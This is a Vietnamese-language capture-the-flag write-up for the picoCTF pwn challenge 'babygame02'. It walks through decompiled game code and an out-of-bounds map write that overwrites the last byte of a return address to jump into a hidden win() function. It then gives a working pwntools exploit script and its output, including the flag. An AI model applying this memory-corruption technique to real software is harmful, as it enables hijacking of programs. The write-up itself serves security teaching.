pwn - babygame02

Break the game and get the flag.

November 4, 2025 October 12, 2025 Hard
Author Author Hung Nguyen Tuong

Source Code

Chúng ta dịch ngược bằng IDA.

Player struct

Ta thêm kiểu dữ liệu là struct sau:

/* 8 */
struct __fixed Player
{
  int row;
  int column;
};

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  Player player; // [esp+0h] [ebp-AA0h] BYREF
  char map[2700]; // [esp+Bh] [ebp-A95h] BYREF
  char direction; // [esp+A97h] [ebp-9h]
  int *p_argc; // [esp+A98h] [ebp-8h]

  p_argc = &argc;
  init_player(&player);
  init_map(map, &player);
  print_map(map);
  signal(2, sigint_handler);
  do
  {
    do
    {
      direction = getchar();
      move_player(&player, direction, map);
      print_map(map);
    }
    while ( player.row != 29 );
  }
  while ( player.column != 89 );
  puts("You win!");
  return 0;
}

init_player()

Player *__cdecl init_player(Player *player)
{
  player->row = 4;
  player->column = 4;
  return player;
}

init_map()

Elf32_Dyn **__cdecl init_map(char *map, Player *player)
{
  Elf32_Dyn **result; // eax
  int j; // [esp+8h] [ebp-Ch]
  int i; // [esp+Ch] [ebp-8h]

  result = &GLOBAL_OFFSET_TABLE_;
  for ( i = 0; i <= 29; ++i )
  {
    for ( j = 0; j <= 89; ++j )
    {
      if ( i == 29 && j == 89 )
      {
        map[2699] = 'X';
      }
      else if ( i == player->row && j == player->column )
      {
        map[90 * i + j] = player_tile;
      }
      else
      {
        map[90 * i + j] = '.';
      }
    }
  }
  return result;
}

move_player()

char *__cdecl move_player(Player *player, char direction, char *map)
{
  char *result; // eax

  if ( direction == 'l' )
    player_tile = getchar();
  if ( direction == 'p' )
    solve_round(map, player);
  map[90 * player->row + player->column] = '.';
  switch ( direction )
  {
    case 'w':
      --player->row;
      break;
    case 's':
      ++player->row;
      break;
    case 'a':
      --player->column;
      break;
    case 'd':
      ++player->column;
      break;
  }
  result = &map[90 * player->row + player->column];
  *result = player_tile;
  return result;
}

solve_round()

int __cdecl solve_round(char *map, Player *player)
{
  int result; // eax

  while ( player->column != 89 )
  {
    if ( player->column > 88 )
      move_player(player, 'a', map);
    else
      move_player(player, 'd', map);
    print_map(map);
  }
  while ( player->row != 29 )
  {
    if ( player->column > 28 )
      move_player(player, 's', map);
    else
      move_player(player, 'w', map);
    print_map(map);
  }
  sleep(0);
  result = player->row;
  if ( player->row == 29 )
  {
    result = player->column;
    if ( result == 89 )
      return puts("You win!");
  }
  return result;
}

win()

int win()
{
  char flag[60]; // [esp+0h] [ebp-48h] BYREF
  FILE *stream; // [esp+3Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts("flag.txt not found in current directory");
    exit(0);
  }
  fgets(flag, 60, stream);
  return printf(flag);
}

Hàm win() bị ẩn đi, không được sử dụng trong chương trình. Chúng ta chỉ có thể phát hiện được khi dịch ngược.

Mitigation

Solve

Ta thấy được return address của hàm solve_round() như sau:

Đó là 0x8049709. Còn đây là các địa chỉ các câu lệnh assembly của hàm win():

pwndbg> disassemble win
Dump of assembler code for function win:
   0x0804975d <+0>:     push   ebp
   0x0804975e <+1>:     mov    ebp,esp
   0x08049760 <+3>:     push   ebx
   0x08049761 <+4>:     sub    esp,0x44
   0x08049764 <+7>:     call   0x8049140 <__x86.get_pc_thunk.bx>
   0x08049769 <+12>:    add    ebx,0x2897
   0x0804976f <+18>:    nop
   0x08049770 <+19>:    nop
   0x08049771 <+20>:    nop
   0x08049772 <+21>:    nop
   0x08049773 <+22>:    nop
   0x08049774 <+23>:    nop
   0x08049775 <+24>:    nop
   0x08049776 <+25>:    nop
   0x08049777 <+26>:    nop
   0x08049778 <+27>:    nop
   0x08049779 <+28>:    sub    esp,0x8
   0x0804977c <+31>:    lea    eax,[ebx-0x1fb8]
   0x08049782 <+37>:    push   eax
   0x08049783 <+38>:    lea    eax,[ebx-0x1fb6]
   ...

Vì PIE không được bật, nên chúng ta có thể ghi đè 1 byte cuối của return address để nhảy vào hàm win(). Lưu ý rằng, ta không nhảy vào ngay địa chỉ bắt đầu, như vậy sẽ làm hỏng stack. Ta nhảy sẽ nhảy vào các lệnh nop.

Địa chỉ của byte đang ghi sẽ là *map + 90 * row + column. Để ghi vào byte cuối của return address ta cần: 90 * row + column = -39. Ban đầu chúng ta ở (4,4), vậy ta có thể đi lên 4 bước, sang trái 43 bước để đến offset -39.

Nên sang trái trước rồi mới đi lên, nếu không lúc đi qua sẽ ghi đè vào giá trị rowcolumn và làm sai lệch vị trí.

Script

from pwn import *

p = remote('saturn.picoctf.net', 57568)

# overwrite last byte of return address to jump to win
# offset is 90*(row+4)+(col+4)=-39 -> row=-4, col=-43
p.sendline(b'l\x6f' + b'a' * 43)
time.sleep(2) # wait to send all the a's
p.sendline(b'w' * 4)

p.recvuntil(b"pico")
print(f"pico{p.recvuntil(b'}').decode()}")
ubuntu@hungnt-PC:~/ctf$ py solve.py
[+] Opening connection to saturn.picoctf.net on port 57568: Done
picoCTF{gamer_jump1ng_4r0unD_d0bed747}
[*] Closed connection to saturn.picoctf.net port 57568